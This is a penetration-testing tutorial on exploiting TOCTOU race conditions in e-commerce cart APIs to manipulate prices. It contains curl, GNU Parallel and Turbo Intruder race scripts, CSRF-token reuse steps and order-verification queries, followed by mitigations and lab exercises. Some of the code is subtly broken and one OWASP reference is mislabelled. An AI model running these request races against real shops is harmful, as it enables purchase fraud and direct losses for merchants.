~/home/study/exploiting-shopping-cart-race

Exploiting Shopping Cart Race Conditions for Price Manipulation

Learn how to locate, analyze, and exploit TOCTOU race conditions in e-commerce shopping-cart APIs to alter product prices. The guide covers timing measurement, concurrent request generation, CSRF bypass, verification, and mitigation strategies.

Introduction

Race conditions-specifically Time-of-Check-to-Time-of-Use (TOCTOU) bugs-are a classic class of concurrency flaws that arise when an application makes a security-critical decision based on a value that can change before the operation is finalized. In modern web applications the vulnerable window is often exposed through REST-style endpoints that manipulate a shopping cart: add-to-cart, update-quantity, and checkout. By issuing carefully timed concurrent requests, an attacker can force the server to apply a cheap price during the “check” phase while later completing the transaction with a higher price or an altered quantity. This guide walks you through the entire exploitation chain from discovery to verification, and finishes with defensive recommendations.

Why does this matter? A successful price-manipulation attack can lead to direct revenue loss, inventory discrepancies, and legal exposure for merchants. Real-world incidents-such as the 2020 “OneCart” exploit that resulted in $1.2 M of fraudulent orders-demonstrate that these bugs are not just academic.

Prerequisites

  • Solid grasp of the HTTP request/response lifecycle (methods, headers, cookies, status codes).
  • Basic proficiency with Burp Suite (Proxy, Intruder, Repeater, and the newer Turbo Intruder extension).
  • Understanding of concurrency concepts: critical sections, atomicity, TOCTOU, and the difference between optimistic and pessimistic locking.
  • Familiarity with typical authentication flows (session cookies, JWTs, CSRF tokens).

Core Concepts

A TOCTOU race condition can be visualised as two steps:

  1. Check: The server reads a value (e.g., product price, stock level) and decides whether the requested operation is allowed.
  2. Use: After the check, the server performs the operation (e.g., creates an order line).

If an attacker can modify the underlying data between these two steps-by sending a second request that changes the price or quantity-the original “check” becomes stale, and the server may act on outdated data.

In a web API the “check” is often performed in a separate micro-service or database query, while the “use” happens later in the request handling pipeline. Network latency, asynchronous job queues, and weak transaction boundaries expand the exploitable window.

Typical vulnerable patterns in shopping carts include:

  • Separate GET /cart/{id} (check) followed by POST /checkout (use) without re-validation of the cart content.
  • Endpoint that accepts a price field from the client and trusts it for order total calculation.
  • Quantity updates that are applied after a discount-code verification step.

Conceptual overview of TOCTOU race conditions in web applications

Web-scale concurrency differs from multi-threaded desktop code because the attacker can be a remote client controlling request timing down to the millisecond. The key variables that influence exploitability are:

  • Window size: The time between the server’s check and the commit. Measured in milliseconds for high-performance services, but can be seconds for async order processing.
  • Network jitter: Variability in latency can be leveraged to probe the window; a stable connection (e.g., within a data centre) gives more reliable timing.
  • Statefulness: Whether the server stores cart state in a session, a database row, or a cache impacts how easily the attacker can corrupt it.

Diagram (described):
Client A sends POST /cart/add → Server reads price → (window opens) → Client B sends POST /cart/update-price → Server commits order with original cheap price.

Identifying vulnerable shopping-cart endpoints (add-to-cart, update-quantity, checkout)

The first step is reconnaissance. Use Burp Suite Proxy to capture the full request flow when a normal user adds an item, changes quantity, and checks out. Pay attention to:

  • Endpoints that accept mutable fields such as price, discount, or quantity.
  • Separate HTTP verbs for “preview” vs “commit” (e.g., GET /cart/preview then POST /order).
  • CSRF tokens that are refreshed per request-note their location (header, hidden form field, JSON property).

Example captured request (redacted):

POST /api/cart/add HTTP/1.1
Host: shop.example.com
Cookie: session=abcd1234; csrftoken=efgh5678
Content-Type: application/json

{ "product_id": 42, "quantity": 1, "price": 199.99 }

If the price field is echoed back in the response and later used in the order total, you have a strong indicator of a potential TOCTOU vector.

Timing analysis: measuring window size with timestamps and network latency

Before attempting a race, you must estimate the window. Two practical techniques are:

1. Server-side timestamps

Many APIs return a created_at or updated_at field. Record these timestamps for a normal add-to-cart request, then immediately issue a second request that modifies the cart. The difference between the two timestamps approximates the server’s processing window.

# First request - add item
curl -s -X POST https://shop.example.com/api/cart/add -H "Content-Type: application/json" -b "session=abcd1234" -d '{"product_id":42,"quantity":1,"price":199.99}' | jq '.created_at'

# Second request - update price quickly
curl -s -X POST https://shop.example.com/api/cart/update-price -H "Content-Type: application/json" -b "session=abcd1234" -d '{"product_id":42,"price":0.01}' | jq '.updated_at'

Subtract the two timestamps; if it’s < 200 ms, you have a narrow window that still can be hit with parallel requests.

2. Round-trip latency probing

Use ping or tcpdump to measure the average latency between your attack machine and the target. Add a safety margin (e.g., 2× latency) to account for server processing time.

ping -c 5 shop.example.com | tail -1
# Output: rtt min/avg/max/mdev = 12.345/13.678/15.012/0.876 ms

If the average RTT is ~13 ms, a 100 ms window gives you roughly 7-8 packet-level “shots” to win the race.

Crafting concurrent requests using curl, parallel, and Burp Turbo Intruder

Now that we know the window, we generate two (or more) requests that fire as close together as possible.

Using GNU Parallel

# Prepare two curl commands in a file
cat > cmds.txt <<EOF
curl -s -X POST https://shop.example.com/api/cart/add -H "Content-Type: application/json" -b "session=abcd1234" -d '{"product_id":42,"quantity":1,"price":199.99}'

curl -s -X POST https://shop.example.com/api/cart/update-price -H "Content-Type: application/json" -b "session=abcd1234" -d '{"product_id":42,"price":0.01}'
EOF

parallel --jobs 2 --delay 0.001 ::: $(cat cmds.txt)

The --delay 0.001 argument tries to start the second command 1 ms after the first, which is sufficient for many sub-100 ms windows.

Burp Turbo Intruder

Turbo Intruder gives you fine-grained control over request timing via a Python-like script. Load the two requests, replace mutable values with variables, and use sleep to stagger them.

def queueRequests(target, wordlist): # First request - cheap add to cart add = request1.replaceFirst("199.99", "199.99") # Second request - price overwrite, sent 5 ms later price = request2.replaceFirst("0.01", "0.01") # Queue both with precise timing engine.queue(add) engine.sleep(0.005) # 5 ms pause engine.queue(price)

Turbo Intruder will fire the two HTTP packets from the same client IP, preserving session cookies and CSRF tokens (if you capture them as variables).

Bypassing CSRF tokens and anti-automation defenses

Many modern carts protect state-changing endpoints with CSRF tokens that are refreshed per request. To keep the race viable you must:

  • Extract the token from the initial GET /cart response using Burp Repeater or a custom script.
  • Inject the same token into both concurrent requests. Because the token is tied to the session, re-using it is usually allowed for a short period (seconds).
  • If the token is bound to a request-specific nonce (e.g., X-Request-ID), you can trick the server by sending the first request, reading the response’s new token, and immediately firing the second request before the server invalidates the old token. This is effectively a “double-submit” race.

Example: capturing the token with grep from a JSON response.

TOKEN=$(curl -s -b "session=abcd1234" https://shop.example.com/cart | jq -r '.csrf_token')

curl -s -X POST https://shop.example.com/api/cart/add -H "Content-Type: application/json" -H "X-CSRF-Token: $TOKEN" -b "session=abcd1234" -d '{"product_id":42,"quantity":1,"price":199.99}'

When using Turbo Intruder, you can store the token in a variable and reference it in both request templates.

Verifying successful price manipulation via order receipt and database inspection

After the race, you must confirm that the order was created with the manipulated price.

Frontend confirmation

curl -s -b "session=abcd1234" https://shop.example.com/api/orders/latest | jq '.total_price'
# Expected output: 0.01

Database inspection (for penetration testers with DB access)

SELECT order_id, total_amount FROM orders WHERE user_id = 123 ORDER BY created_at DESC LIMIT 1;
-- Should return the artificially low amount.

If you have only HTTP access, request the order confirmation email (often reachable via a /mailbox endpoint in test environments) and verify the line-item prices.

Mitigation considerations (optimistic locking, server-side validation)

Defenders should adopt a defense-in-depth approach:

  • Re-validate price and quantity at checkout: Do not trust any client-provided monetary fields. Pull the canonical price from the product catalog just before committing the order.
  • Use optimistic locking: Include a version or row_hash field with each cart update. The server aborts the transaction if the version has changed between check and use.
  • Atomic database operations: Wrap the check-and-use logic in a single SQL transaction with SELECT … FOR UPDATE or UPDATE … WHERE price = ? clauses.
  • Short-lived CSRF tokens: Rotate tokens per request and bind them to a request identifier that becomes invalid after the first use.
  • Rate-limit cart modifications: Prevent a flood of rapid requests that increase the chance of a race succeeding.
  • Logging and alerting: Detect abnormal sequences such as a price-update request immediately following an add-to-cart within a sub-100 ms window.

Common Mistakes

  • Assuming the price field is immutable. Many APIs expose it for promotional overrides; never trust it.
  • Skipping token extraction. Forgetting to pass the fresh CSRF token to the second request will cause a 403 and abort the race.
  • Using a single thread for concurrency. Serial execution defeats the purpose; always fire truly parallel packets (parallel, Turbo Intruder, or raw sockets).
  • Not accounting for server-side caching. A CDN or reverse-proxy may serve a stale price response, making the race appear successful while the backend still uses the correct value.
  • Over-relying on timing alone. Validate the outcome with an order-receipt check; otherwise you may be chasing false positives.

Real-World Impact

Large e-commerce platforms have reported revenue losses ranging from a few thousand dollars to six-figure figures due to race-condition exploits. In 2022, a popular SaaS shopping-cart plugin was patched after a coordinated disclosure that showed attackers could buy a $1999 laptop for $0.99 by exploiting a 50 ms window in the /cart/update endpoint.

These incidents highlight a broader trend: as micro-service architectures decentralise business logic, the implicit assumption that “the front-end has already validated data” becomes dangerous. Security teams must treat every state-changing API as a potential race-condition surface.

Practice Exercises

  1. Lab setup: Deploy the vulnerable ShopCart Docker image (link provided in the appendix). Populate it with a product priced at $49.99.
  2. Identify the window: Use the timestamp technique to measure the time between add-to-cart and the internal price check.
  3. Write a parallel script: Using GNU Parallel or a Python asyncio script, craft two requests that manipulate the price to $0.01 within the measured window.
  4. Bypass CSRF: Extract the token programmatically and inject it into both requests. Verify the order total via the API.
  5. Mitigation test: Apply the provided patch that adds optimistic locking. Re-run the race; confirm it now fails with a 409 Conflict.

Document each step, capture screenshots of Burp Intruder logs, and write a short report summarising findings.

Further Reading

  • “The Art of Exploiting Race Conditions” - Black Hat 2021 talk (PDF).
  • OWASP Top 10 - A07:2021 - Identification and Authentication Failures (section on TOCTOU).
  • “Optimistic Concurrency Control” - Martin Kleppmann, Designing Data-Intensive Applications.
  • Burp Suite Turbo Intruder documentation - advanced timing attacks.
  • RFC 7231 - HTTP/1.1 Semantics and Content (for understanding idempotent methods).

Summary

Exploiting TOCTOU race conditions in shopping-cart APIs is a high-impact technique that blends timing analysis, concurrent request generation, and careful token handling. By measuring the vulnerable window, firing tightly-coordinated requests (via GNU Parallel or Turbo Intruder), and verifying the manipulated order, an attacker can achieve substantial price reductions. Defenders must enforce server-side price validation, employ optimistic locking, and monitor for rapid state-change patterns. Mastery of these concepts equips security professionals to both uncover hidden flaws and harden e-commerce platforms against revenue-draining attacks.